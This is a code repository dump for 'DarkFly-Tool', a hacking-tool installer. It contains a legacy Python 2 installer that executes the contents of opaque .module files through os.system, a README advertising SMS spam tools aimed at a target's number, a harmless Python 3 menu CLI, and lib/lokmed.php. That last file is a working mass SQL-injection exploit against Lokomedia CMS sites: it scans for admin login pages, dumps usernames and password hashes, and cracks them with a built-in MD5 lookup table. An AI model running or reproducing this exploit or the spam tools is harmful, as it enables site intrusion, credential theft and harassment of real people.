os.path.isdir('/usr/bin/lib'): 68 | os.system('' + str(open('.module/pindahU.ms').read())) 69 | os.system('' + str(open('.module/PindahU.ms').read())) 70 | 71 | # ==================================================================# 72 | 73 | print '' + str(open('.module/DU.la').read()) 74 | print '' + str(open('.module/Du').read()) 75 | os.system('python .JM.xn') 76 | 77 | # ==================================================================# 78 | 79 | if os.path.isdir('' + termux.strip()): 80 | if not os.path.isdir('' + termux.strip()): 81 | sys.exit() 82 | 83 | if not os.path.isdir(ntfile[0]): 84 | print '[x] Failed: no directory module' 85 | sys.exit() 86 | 87 | if not os.path.isdir(ntfile[1]): 88 | print '[x] Failed: no directory lib' 89 | sys.exit() 90 | else: 91 | 92 | print '' + instal.strip() 93 | 94 | # ==============================================================# 95 | 96 | os.system('python2 .module/' + str(open('.module/A.ms' 97 | ).read())) 98 | os.system('python2 .module/' + str(open('.module/B.ms' 99 | ).read())) 100 | os.system('python2 .module/' + str(open('.module/C.ms' 101 | ).read())) 102 | os.system('python2 .module/' + str(open('.module/D.ms' 103 | ).read())) 104 | os.system('python2 .module/' + str(open('.module/E.ms' 105 | ).read())) 106 | os.system('python2 .module/' + str(open('.module/F.ms' 107 | ).read())) 108 | os.system('python2 .module/' + str(open('.module/G.ms' 109 | ).read())) 110 | os.system('python2 .module/' + str(open('.module/H.ms' 111 | ).read())) 112 | 113 | # ==============================================================# 114 | 115 | if os.path.isdir('' + termlb.strip()): 116 | os.system('' + str(open('.module/pacar.ms').read())) 117 | os.system('' + str(open('.module/pindahT.ms').read())) 118 | os.system('' + str(open('.module/PINDAHT.txt').read())) 119 | 120 | if not os.path.isdir('' + termlb.strip()): 121 | os.system('' + str(open('.module/pindahT.ms').read())) 122 | os.system('' + str(open('.module/PINDAHT.txt').read())) 123 | 124 | # ==============================================================# 125 | 126 | print '' + str(open('.module/DU.la').read()) 127 | print '' + str(open('.module/Du').read()) 128 | os.system('python2 .JM.xn && cd') 129 | 130 | 131 | # ==============================================================# 132 | 133 | if __name__ == '__main__': 134 | _main_() 135 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DarkFly-Tool 2 | 3 | The current main version is **DarkFly v5** – a modern Python 3 CLI that runs on current Linux/Termux systems. The previous **DarkFly v4.0** (Python 2, Termux-focused) installer is still included below as a legacy option. 4 | 5 | In its original (v4) form, DarkFly-Tool is an installation tool for installing tools. this tool makes it easy for you. so you don't need to type git clone or look for the github repository. You only have to choose the number. which tool you want to install. there are 530 tools ready for intall. and for those of you who like to have fun. there are 7 SMS spam tools that are ready to use, you just need to choose spam to use the target number. there is a tocopedia DLL. 6 | 7 | ## Version comparison 8 | 9 | | Feature | DarkFly v5 (current) | DarkFly v4.0 (legacy) | 10 | | -------------------------------------------- | -------------------- | ---------------------- | 11 | | Python 3 support | ✓ | ✗ | 12 | | Python 2 support | ✗ | ✓ | 13 | | Target: Linux | ✓ | ✗ (not reliable) | 14 | | Target: Termux | ✓ | ✓ | 15 | | Actively maintained | ✓ | ✗ (frozen legacy) | 16 | | Configurable tools via `darkfly_tools.json` | ✓ | ✗ | 17 | | Obfuscated/installer-based tool management | ✗ | ✓ | 18 | 19 | ### Detailed comparison 20 | 21 | | Aspect | DarkFly v5 (current) | DarkFly v4.0 (legacy) | 22 | | ------------------- | -------------------------------------------------------------- | -------------------------------------------------------------------- | 23 | | Implementation | Python 3 CLI in `darkfly/` | Python 2 installer `install.py` plus `.module` and `lib` scripts | 24 | | Target environments | Linux and Termux with Python 3.10+ and pip | Primarily Termux (Android); regular Linux may not work reliably | 25 | | Status | Active / modern path | Frozen legacy path, kept for historical compatibility | 26 | | Install / usage | `python -m pip install -e .[dev]` then `DarkFly5 ...` | `python2 install.py` then `DarkFly` | 27 | | Tool list | Config-driven via `darkfly_tools.json` (easy to extend/modify) | Hard-coded/obfuscated inside legacy Python 2 and `.module` artifacts | 28 | 29 | --- 30 | 31 | ## DarkFly v5 – modern Python 3 CLI (Linux / Termux) 32 | 33 | DarkFly v5 is a new, configurable CLI that does **not** depend on the old Python 2 installer. It is implemented as a normal Python package in the `darkfly/` directory. 34 | 35 | ### Install (editable) for development 36 | 37 | From a Python 3.10+ environment on Linux (or Termux with Python 3): 38 | 39 | ```bash 40 | python -m pip install --upgrade pip 41 | python -m pip install -e .[dev] 42 | ``` 43 | 44 | This installs the `DarkFly5` command and development dependencies (like pytest). 45 | 46 | ### Usage 47 | 48 | List available tools (from `darkfly_tools.json` or the built-in examples): 49 | 50 | ```bash 51 | DarkFly5 list 52 | ``` 53 | 54 | Show details and suggested install commands for a specific tool: 55 | 56 | ```bash 57 | DarkFly5 info nmap 58 | ``` 59 | 60 | Open a simple interactive menu: 61 | 62 | ```bash 63 | DarkFly5 menu 64 | ``` 65 | 66 | You can add or change tools and categories by editing `darkfly_tools.json` in the repository root. The JSON structure is simple and designed to be extended over time. 67 | 68 | ### Running tests (modern CLI) 69 | 70 | After installing with the `dev` extras: 71 | 72 | ```bash 73 | pytest 74 | ``` 75 | 76 | This runs the tests under `tests/` for the modern Python 3 CLI. 77 | 78 | --- 79 | 80 | ## DarkFly v4 – legacy Python 2 installer (Termux) 81 | 82 | > **Warning:** DarkFly v4 depends on Python 2 and is kept for historical compatibility. Modern systems may not ship Python 2 by default. 83 | > 84 | > If you specifically want this legacy version, download it from the v4 release: 85 | > 86 | 87 | ### Information 88 | 89 | DarkFly now is: DarkFly-2019.1 (generation of DarkFly-tool) Try it. 90 | 91 | DarkFly-Tool is an installation tool for installing tools. this tool makes it easy for you. so you don't need to type git clone or look for the github repository. You only have to choose the number. which tool you want to install. there are 530 tools ready for intall. and for those of you who like to have fun. there are 7 SMS spam tools that are ready to use, you just need to choose spam to use the target number. there is a tocopedia DLL. 92 | 93 | ### Install (Termux) 94 | 95 | **Termux:** 96 | 97 | * `pkg install python2` 98 | * `pkg install git` 99 | * `git clone https://github.com/reblox01/DarkFly-Tool` 100 | * `cd DarkFly-Tool` 101 | * `python2 install.py` 102 | 103 | ```bash 104 | 1.if installed is complite, use command 105 | $cd 106 | 2.then run it 107 | $DarkFly 108 | ``` 109 | 110 | **NOTE:** 111 | 112 | ```bash 113 | if python2 install.py is not allowed or fail, Use this 114 | $chmod +x install.py 115 | $python2 install.py 116 | ``` 117 | 118 | ### How to update v4 119 | 120 | For update this tool, just do the reinstallation, the first way is to install the Darkfly tools, by reinstalling, the old file will be deleted and replaced with the new one installed. 121 | 122 | ### Note 123 | 124 | The original DarkFly v4 installer was mainly tested on Termux. On regular Linux distributions it may not work correctly. 125 | -------------------------------------------------------------------------------- /darkfly/cli.py: -------------------------------------------------------------------------------- 1 | """Command-line interface for the modern DarkFly v5 tool. 2 | 3 | This CLI is intentionally small and focused. It is designed to: 4 | 5 | - Run on Python 3.10+ on Linux / Termux. 6 | - Read a simple tool configuration file (YAML or JSON). 7 | - Provide basic commands: 8 | - `DarkFly5 list` – list available tools / categories. 9 | - `DarkFly5 info` – show details about a tool. 10 | - `DarkFly5 menu` – simple interactive menu. 11 | 12 | The goal is to provide a clean base that can be extended over time. 13 | """ 14 | 15 | from __future__ import annotations 16 | 17 | import argparse 18 | import json 19 | import os 20 | import sys 21 | from dataclasses import dataclass 22 | from pathlib import Path 23 | from typing import Any, Dict, List, Optional 24 | 25 | 26 | DEFAULT_CONFIG_LOCATIONS = [ 27 | Path("darkfly_tools.json"), 28 | Path("darkfly_tools.yaml"), # reserved for a future YAML-based config 29 | ] 30 | 31 | 32 | @dataclass 33 | class Tool: 34 | id: str 35 | name: str 36 | description: str = "" 37 | category: str = "general" 38 | install_commands: List[str] | None = None 39 | 40 | 41 | def _detect_env() -> str: 42 | """Detect a coarse runtime environment for better suggestions. 43 | 44 | Returns one of: 45 | - "termux" – running under Termux on Android. 46 | - "linux" – Linux (non-Termux). 47 | - "other" – anything else. 48 | """ 49 | 50 | # Termux commonly exposes this variable 51 | if os.environ.get("TERMUX_VERSION"): 52 | return "termux" 53 | 54 | home = str(Path.home()) 55 | if "com.termux" in home: 56 | return "termux" 57 | 58 | if sys.platform.startswith("linux"): 59 | return "linux" 60 | 61 | return "other" 62 | 63 | 64 | def _load_config(base_dir: Optional[Path] = None) -> Dict[str, Any]: 65 | """Load the tool configuration from the repository or install directory. 66 | 67 | For the initial version we support a small JSON file. If no configuration 68 | file is found, we fall back to a tiny built-in example so that the CLI is 69 | still usable out of the box. 70 | """ 71 | 72 | base = base_dir or Path.cwd() 73 | 74 | # Look for config files in a few conventional locations 75 | for rel in DEFAULT_CONFIG_LOCATIONS: 76 | candidate = base / rel 77 | if candidate.is_file() and candidate.suffix == ".json": 78 | with candidate.open("r", encoding="utf-8") as f: 79 | return json.load(f) 80 | # YAML support can be added later if desired. 81 | 82 | # Fallback: built-in minimal configuration 83 | return { 84 | "categories": [ 85 | { 86 | "id": "examples", 87 | "name": "Example Tools", 88 | "tools": [ 89 | { 90 | "id": "nmap", 91 | "name": "Nmap", 92 | "description": "Show basic information about Nmap and how to install it.", 93 | "install_commands": [ 94 | "sudo apt install nmap", 95 | "# Termux: pkg install nmap", 96 | ], 97 | } 98 | ], 99 | } 100 | ] 101 | } 102 | 103 | 104 | def _iter_tools(config: Dict[str, Any]) -> List[Tool]: 105 | tools: List[Tool] = [] 106 | for cat in config.get("categories", []): 107 | cat_id = cat.get("id", "general") 108 | for t in cat.get("tools", []): 109 | tools.append( 110 | Tool( 111 | id=t.get("id"), 112 | name=t.get("name", t.get("id", "")), 113 | description=t.get("description", ""), 114 | category=cat_id, 115 | install_commands=t.get("install_commands"), 116 | ) 117 | ) 118 | return tools 119 | 120 | 121 | def _cmd_list(args: argparse.Namespace) -> int: 122 | config = _load_config() 123 | tools = _iter_tools(config) 124 | 125 | if not tools: 126 | print("No tools are defined in darkfly_tools.json (or built-in config).", file=sys.stderr) 127 | return 1 128 | 129 | print("Available tools:\n") 130 | for tool in tools: 131 | print(f"- {tool.id} (category: {tool.category}) - {tool.name}") 132 | return 0 133 | 134 | 135 | def _cmd_info(args: argparse.Namespace) -> int: 136 | config = _load_config() 137 | tools = {t.id: t for t in _iter_tools(config)} 138 | 139 | tool = tools.get(args.tool_id) 140 | if not tool: 141 | print(f"Unknown tool id: {args.tool_id}", file=sys.stderr) 142 | return 1 143 | 144 | print(f"ID: {tool.id}") 145 | print(f"Name: {tool.name}") 146 | print(f"Category: {tool.category}") 147 | if tool.description: 148 | print(f"Description: {tool.description}") 149 | if tool.install_commands: 150 | env = _detect_env() 151 | 152 | # Heuristics based on common package manager commands 153 | termux_cmds = [c for c in tool.install_commands if "pkg " in c or "Termux" in c] 154 | linux_cmds = [c for c in tool.install_commands if "apt " in c] 155 | generic_cmds = [ 156 | c 157 | for c in tool.install_commands 158 | if c not in termux_cmds and c not in linux_cmds 159 | ] 160 | 161 | if env == "termux": 162 | preferred = termux_cmds or linux_cmds or generic_cmds 163 | label = "Termux" 164 | elif env == "linux": 165 | preferred = linux_cmds or termux_cmds or generic_cmds 166 | label = "Linux" 167 | else: 168 | preferred = generic_cmds or linux_cmds or termux_cmds 169 | label = "this platform" 170 | 171 | print(f"\nRecommended install commands for {label}:") 172 | for cmd in preferred: 173 | print(f" {cmd}") 174 | 175 | remaining = [c for c in tool.install_commands if c not in preferred] 176 | if remaining: 177 | print("\nOther install commands:") 178 | for cmd in remaining: 179 | print(f" {cmd}") 180 | else: 181 | print("\nNo install commands recorded for this tool yet.") 182 | return 0 183 | 184 | 185 | def _cmd_menu(args: argparse.Namespace) -> int: 186 | """Very small interactive menu. 187 | 188 | This is intentionally basic; it can be evolved into something richer 189 | (curses-based, fuzzy finder, etc.) in future versions. 190 | """ 191 | 192 | config = _load_config() 193 | tools = _iter_tools(config) 194 | if not tools: 195 | print("No tools are defined in darkfly_tools.json (or built-in config).", file=sys.stderr) 196 | return 1 197 | 198 | print("DarkFly v5 - simple menu") 199 | print("Select a tool by number, or 'q' to quit.\n") 200 | 201 | for idx, t in enumerate(tools, start=1): 202 | print(f"{idx}. {t.name} [{t.id}] (category: {t.category})") 203 | 204 | while True: 205 | choice = input("Select: ").strip() 206 | if choice.lower() in {"q", "quit", "exit"}: 207 | return 0 208 | if not choice.isdigit(): 209 | print("Please enter a number or 'q' to quit.") 210 | continue 211 | idx = int(choice) 212 | if not (1 <= idx <= len(tools)): 213 | print("Choice out of range.") 214 | continue 215 | tool = tools[idx - 1] 216 | # Reuse info command behavior 217 | print() 218 | _cmd_info(argparse.Namespace(tool_id=tool.id)) 219 | print("\n(Use the suggested commands above in your shell to install/run this tool.)\n") 220 | # Unreachable 221 | 222 | 223 | def build_parser() -> argparse.ArgumentParser: 224 | parser = argparse.ArgumentParser(prog="DarkFly5", description="Modern DarkFly CLI (Python 3)") 225 | sub = parser.add_subparsers(dest="command", required=True) 226 | 227 | p_list = sub.add_parser("list", help="List available tools") 228 | p_list.set_defaults(func=_cmd_list) 229 | 230 | p_info = sub.add_parser("info", help="Show details for a tool") 231 | p_info.add_argument("tool_id", help="ID of the tool (see 'list')") 232 | p_info.set_defaults(func=_cmd_info) 233 | 234 | p_menu = sub.add_parser("menu", help="Interactive text menu") 235 | p_menu.set_defaults(func=_cmd_menu) 236 | 237 | return parser 238 | 239 | 240 | def main(argv: Optional[List[str]] = None) -> int: 241 | parser = build_parser() 242 | args = parser.parse_args(argv) 243 | func = getattr(args, "func", None) 244 | if func is None: 245 | parser.print_help() 246 | return 1 247 | return func(args) 248 | 249 | 250 | if __name__ == "__main__": # pragma: no cover 251 | raise SystemExit(main()) 252 | -------------------------------------------------------------------------------- /lib/lokmed.php: -------------------------------------------------------------------------------- 1 | Lokomedia (SQL Injection) + Auto Scan Admin Login <--\n"; 16 | print " ## Coded by Mr. Error 404 (l0c4lh34rtz) - IndoXploit - Sanjungan Jiwa ##\n"; 17 | print " # greetz: res7ock crew - j*ncok Sec #\n"; 18 | print "+++++++ usage: php namafile.php target.txt +++++++\n"; 19 | print "[ =========================================================================== ]\n\n"; 20 | } 21 | function ngcurl($url) { 22 | $curl = curl_init($url); 23 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 24 | curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); 25 | $content = curl_exec($curl); 26 | curl_close($curl); 27 | return $content; 28 | } 29 | function simpen($isi) { 30 | $f = fopen("md5.txt", "a+"); 31 | fwrite($f, "$isi\n"); 32 | fclose($f); 33 | } 34 | 35 | $admin = array( 36 | 'adm/', 37 | '_adm_/', 38 | '_admin_/', 39 | '_administrator_/', 40 | 'operator/', 41 | 'sika/', 42 | 'develop/', 43 | 'ketua/', 44 | 'redaktur/', 45 | 'author', 46 | 'admin/', 47 | 'administrator/', 48 | 'adminweb/', 49 | 'user/', 50 | 'users/', 51 | 'dinkesadmin/', 52 | 'retel/', 53 | 'author/', 54 | 'panel/', 55 | 'paneladmin/', 56 | 'panellogin/', 57 | 'redaksi/', 58 | 'cp-admin/', 59 | 'master/', 60 | 'master/index.php', 61 | 'master/login.php', 62 | 'operator/index.php', 63 | 'sika/index.php', 64 | 'develop/index.php', 65 | 'ketua/index.php', 66 | 'redaktur/index.php', 67 | 'admin/index.php', 68 | 'administrator/index.php', 69 | 'adminweb/index.php', 70 | 'user/index.php', 71 | 'users/index.php', 72 | 'dinkesadmin/index.php', 73 | 'retel/index.php', 74 | 'author/index.php', 75 | 'panel/index.php', 76 | 'paneladmin/index.php', 77 | 'panellogin/index.php', 78 | 'redaksi/index.php', 79 | 'cp-admin/index.php', 80 | 'operator/login.php', 81 | 'sika/login.php', 82 | 'develop/login.php', 83 | 'ketua/login.php', 84 | 'redaktur/login.php', 85 | 'admin/login.php', 86 | 'administrator/login.php', 87 | 'adminweb/login.php', 88 | 'user/login.php', 89 | 'users/login.php', 90 | 'dinkesadmin/login.php', 91 | 'retel/login.php', 92 | 'author/login.php', 93 | 'panel/login.php', 94 | 'paneladmin/login.php', 95 | 'panellogin/login.php', 96 | 'redaksi/login.php', 97 | 'cp-admin/login.php', 98 | 'terasadmin/', 99 | 'terasadmin/index.php', 100 | 'terasadmin/login.php', 101 | 'rahasia/', 102 | 'rahasia/index.php', 103 | 'rahasia/admin.php', 104 | 'rahasia/login.php', 105 | 'dinkesadmin/', 106 | 'dinkesadmin/login.php', 107 | 'adminpmb/', 108 | 'adminpmb/index.php', 109 | 'adminpmb/login.php', 110 | 'system/', 111 | 'system/index.php', 112 | 'system/login.php', 113 | 'webadmin/', 114 | 'webadmin/index.php', 115 | 'webadmin/login.php', 116 | 'wpanel/', 117 | 'wpanel/index.php', 118 | 'wpanel/login.php', 119 | 'adminpanel/index.php', 120 | 'adminpanel/', 121 | 'adminpanel/login.php', 122 | 'adminkec/', 123 | 'adminkec/index.php', 124 | 'adminkec/login.php', 125 | 'admindesa/', 126 | 'admindesa/index.php', 127 | 'admindesa/login.php', 128 | 'adminkota/', 129 | 'adminkota/index.php', 130 | 'adminkota/login.php', 131 | 'admin123/', 132 | 'admin123/index.php', 133 | 'admin123/login.php', 134 | 'logout/', 135 | 'logout/index.php', 136 | 'logout/login.php', 137 | 'logout/admin.php', 138 | 'adminweb_setting', 139 | ); 140 | $real_pass = array( 141 | "a66abb5684c45962d887564f08346e8d" => "admin123456", 142 | "99026ab4ab3de96f3d7ae33c8c85057b" => "master!@#$qwe", 143 | "c630643500720b255abb22e2ab2c31f6" => "sumedang123", 144 | "1c63129ae9db9c60c3e8aa94d3e00495" => "1qaz2wsx", 145 | "f243df64be7184fb0fc07bd6cf53185b" => "b1smillah", 146 | "93261ae77f0df5522dd9767203f3aa17" => "house69", 147 | "f243df64be7184fb0fc07bd6cf53185b" => "b1smillah", 148 | "37c77ada62ec68d1b740717fc886bef6" => "Suk4bum1", 149 | "d39b59b946b414c4e5926f9c7b23840a" => "kasitaugakya", 150 | "fbff29af096fa646757ce8439b644714" => "vro190588", 151 | "1feadc10e93f2b64c65868132f1e72d3" => "agoes", 152 | "0192023a7bbd73250516f069df18b500" => "admin123", 153 | "7aa1dfee8619ac8f282e296d83eb55ff" => "meong", 154 | "24fa5ee2c1285e115dd6b5fe1c25a333" => "773062", 155 | "d557fd4686821b5d8b927cdfe6e67d21" => "#admin#", 156 | "5fec4ba8376f207d1ff2f0cac0882b01" => "admin!@#", 157 | "a01726b559eeeb5fc287bf0098a22f6c" => "@dm1n", 158 | "73acd9a5972130b75066c82595a1fae3" => "ADMIN", 159 | "511f2efed0e465e700a951f2f1ecec19" => "bs1unt46", 160 | "7b7bc2512ee1fedcd76bdc68926d4f7b" => "Administrator", 161 | "99fedb09f0f5da90e577784e5f9fdc23" => "ADMINISTRATOR", 162 | "e58bfd635502ea963e1d52487ac2edfa" => "!@#123!@#123", 163 | "5449ccea16d1cc73990727cd835e45b5" => "ngadimin", 164 | "c21f969b5f03d33d43e04f8f136e7682" => "default", 165 | "1a1dc91c907325c69271ddf0c944bc72" => "pass", 166 | "fffdf0489f264598e9d35cba0381e9ac" => "sukmapts", 167 | "5f4dcc3b5aa765d61d8327deb882cf99" => "password", 168 | "5ebe2294ecd0e0f08eab7690d2a6ee69" => "secret", 169 | "c893bad68927b457dbed39460e6afd62" => "prueba", 170 | "b2ca9cfa6067282a031d28a54886822d" => "admin4343", 171 | "3a3795bb61d5377545b4f345ff223e3d" => "bingo", 172 | "e172dd95f4feb21412a692e73929961e" => "bismillah", 173 | "8221303fbf816fd9da96be7dd4c92f99" => "salawarhandap123", 174 | "0570e3795fbe97ddd3ce53be141d1aed" => "indoxploit", 175 | "098f6bcd4621d373cade4e832627b4f6" => "test", 176 | "976adc43eaf39b180d9f2c624a1712cd" => "adminppcp", 177 | "5985609a2dc01098797c94a43e0a1115" => "masarief", 178 | "21232f297a57a5a743894a0e4a801fc3" => "admin", 179 | "1870a829d9bc69abf500eca6f00241fe" => "wordpress", 180 | "126ac9f6149081eb0e97c2e939eaad52" => "blog", 181 | "fe01ce2a7fbac8fafaed7c982a04e229" => "demo", 182 | "04e484000489dd3b3fb25f9aa65305c6" => "redaksi2016", 183 | "91f5167c34c400758115c2a6826ec2e3" => "administrador", 184 | "200ceb26807d6bf99fd6f4f0d1ca54d4" => "administrator", 185 | "c93ccd78b2076528346216b3b2f701e6" => "admin1234", 186 | "912ec803b2ce49e4a541068d495ab570" => "asdf", 187 | "1adbb3178591fd5bb0c248518f39bf6d" => "asdf1234", 188 | "e99a18c428cb38d5f260853678922e03" => "abc123", 189 | "a152e841783914146e4bcd4f39100686" => "asdfgh", 190 | "a384b6463fc216a5f8ecb6670f86456a" => "qwert", 191 | "d8578edf8458ce06fbc5bb76a58c5ca4" => "qwerty", 192 | "b59c67bf196a4758191e42f76670ceba" => "1111", 193 | "96e79218965eb72c92a549dd5a330112" => "111111", 194 | "4297f44b13955235245b2497399d7a93" => "123123", 195 | "c33367701511b4f6020ec61ded352059" => "654321", 196 | "81dc9bdb52d04dc20036dbd8313ed055" => "1234", 197 | "e10adc3949ba59abbe56e057f20f883e" => "123456", 198 | "fcea920f7412b5da7be0cf42b8c93759" => "1234567", 199 | "25d55ad283aa400af464c76d713c07ad" => "12345678", 200 | "25f9e794323b453885f5181f1b624d0b" => "123456789", 201 | "e807f1fcf82d132f9bb018ca6738a19f" => "1234567890", 202 | "befe9f8a14346e3e52c762f333395796" => "qawsed", 203 | "76419c58730d9f35de7ac538c2fd6737" => "qazwsx", 204 | "5f4dcc3b5aa765d61d8327deb882cf99" => "password", 205 | "bed128365216c019988915ed3add75fb" => "passw0rd", 206 | "21232f297a57a5a743894a0e4a801fc3" => "admin", 207 | "e10adc3949ba59abbe56e057f20f883e" => "123456", 208 | "5f4dcc3b5aa765d61d8327deb882cf99" => "password", 209 | "25d55ad283aa400af464c76d713c07ad" => "12345678", 210 | "f379eaf3c831b04de153469d1bec345e" => "666666", 211 | "96e79218965eb72c92a549dd5a330112" => "111111", 212 | "fcea920f7412b5da7be0cf42b8c93759" => "1234567", 213 | "d8578edf8458ce06fbc5bb76a58c5ca4" => "qwerty", 214 | "6f3cac6213ffceee27cc85414f458caa" => "siteadmin", 215 | "200ceb26807d6bf99fd6f4f0d1ca54d4" => "administrator", 216 | "63a9f0ea7bb98050796b649e85481845" => "root", 217 | "4297f44b13955235245b2497399d7a93" => "123123", 218 | "c8837b23ff8aaa8a2dde915473ce0991" => "123321", 219 | "e807f1fcf82d132f9bb018ca6738a19f" => "1234567890", 220 | "4ca7c5c27c2314eecc71f67501abb724" => "letmein123", 221 | "cc03e747a6afbbcbf8be7668acfebee5" => "test123", 222 | "62cc2d8b4bf2d8728120d052163a77df" => "demo123", 223 | "32250170a0dca92d53ec9624f336ca24" => "pass123", 224 | "46f94c8de14fb36680850768ff1b7f2a" => "123qwe", 225 | "200820e3227815ed1756a6b531e7e0d2" => "qwe123", 226 | "c33367701511b4f6020ec61ded352059" => "654321", 227 | "f74a10e1d6b2f32a47b8bcb53dac5345" => "loveyou", 228 | "172eee54aa664e9dd0536b063796e54e" => "adminadmin123", 229 | "e924e336dcc4126334c852eb8fadd334" => "waskita1234", 230 | "02631cc1d0cc5bda188566e90d0ae16c" => "rsamku2013", 231 | "b69cbef044eac6fc514a2988e62c5b30" => "unlock08804", 232 | "12e110a1b89da9b09a191f1f9b0a1398" => "nalaratih", 233 | "f70d32432ff0a8984b5aadeb159f9db6" => "Much240316", 234 | "a2fffa77aa0dde8cd4c416b5114eba21" => "gondola", 235 | "2b45af95ce316ea4cffd2ce4093a2b83" => "w4nd3szaki", 236 | "c5612a125d8613ddae79a6b36c8bee37" => "Reddevil#21", 237 | "6e7fbe8e6147e2c430ce7e8ab883e533" => "R4nd0m?!", 238 | "5136850b6c8f3ebc66122188347efda0" => "adminku", 239 | "5214905fbe8d7f0bb0d0a328f08af3f0" => "adminpust4k4", 240 | "acfc976c2d22e4a595a9ee6fc0d05f27" => "dikmen2016", 241 | "dcdee606657b5f7d8b218badfeb22a90" => "masputradmin", 242 | "ecb4208ee41389259a632d3a733c2786" => "741908", 243 | "827ccb0eea8a706c4c34a16891f84e7b" => "12345", 244 | "855be097acdf2fea4e342615a154ca3c" => "tolol", 245 | "eeee80342778e7b497d507f89094b10d" => "master10", 246 | "d29c0398602e6cf005f0dcb7a0443c7d" => "adminjalan", 247 | "9062756924cf10763cc89cf2793a77ab" => "pass4@nd1", 248 | "8b6bc5d8046c8466359d3ac43ce362ab" => "ganteng", 249 | "528d06a172eb2d8fab4e93f33f3986a8" => "jasindolive", 250 | "058fe7f85df1e992ef7bf948f1db7842" => "404J", 251 | "abe1f4492f922a9111317ed7f7f8e723" => "bantarjati5", 252 | ); 253 | $sites = explode("\n", file_get_contents($argv[1])); 254 | if(isset($argv[1])) { 255 | cover(); 256 | foreach($sites as $url) { 257 | if(!preg_match("/^http:\/\//", $url) AND !preg_match("/^https:\/\//", $url)) { 258 | $url = "http://$url"; 259 | } else { 260 | $url = $url; 261 | } 262 | $statis = ""; 263 | $sisa = ""; 264 | $login = ""; 265 | $param_list = array("statis","kategori","berita"); 266 | $curl = ngcurl($url); 267 | $curl = str_replace("'", '"', $curl); 268 | foreach($param_list as $param) { 269 | preg_match_all("/$param-(.*?)\">/", $curl, $id); 270 | foreach($id[1] as $stat) { 271 | $pecah = explode("-", $stat); 272 | $statis .= $pecah[0]; 273 | $sisa .= $pecah[1]; 274 | break; 275 | } 276 | foreach($admin as $adminweb) { 277 | $curl_admin = ngcurl("$url/$adminweb"); 278 | if(preg_match("/administrator|username|password/i", $curl_admin) AND !preg_match("/not found|forbidden|404|403|500/i", $curl_admin)) { 279 | $login .= "$url/$adminweb"; 280 | break; 281 | } 282 | } 283 | $sql = ngcurl("$url/$param-$statis'/*!50000UniON*/+/*!50000SeLeCT*/+/*!50000cOnCAt*/(0x696e646f78706c6f6974,0x3c6c693e,username,0x20,password,0x3c6c693e)+from+users--+---+-$sisa"); 284 | preg_match("//", $sql, $up); 285 | preg_match("/
  • (.*)
  • /", $up[1], $akun); 286 | $data = explode(" ", $akun[1]); 287 | print "[+] URL: $url\n"; 288 | //print "[+] param: $param\n"; 289 | if(htmlspecialchars($curl) !== htmlspecialchars($sql)) { 290 | if(preg_match("/indoxploit/", $sql)) { 291 | //print "[ Injection Successfully ]\n"; 292 | if($data[0] == "" || $data[1] == "") { 293 | print "[+] Not Injected :(\n\n"; 294 | break; 295 | } else { 296 | print "[+] username: ".$data[0]."\n"; 297 | $passwd = $real_pass[$data[1]]; 298 | if($passwd == "") { 299 | $passwd = $data[1]; 300 | simpen($data[1]); 301 | } 302 | print "[+] password: $passwd\n"; 303 | } 304 | if($login == "") { 305 | print "[+] Login Admin ga ketemu :(\n\n"; 306 | } else { 307 | print "[+] Login: $login\n\n"; 308 | } 309 | break; 310 | } else { 311 | print "[+] Not Injected :(\n\n"; 312 | break; 313 | } 314 | } else { 315 | print "[+] Not Injected :(\n\n"; 316 | break; 317 | } 318 | } 319 | } 320 | } else { 321 | print "usage: php ".$argv[0]." target.txt\n"; 322 | } 323 | ?> --------------------------------------------------------------------------------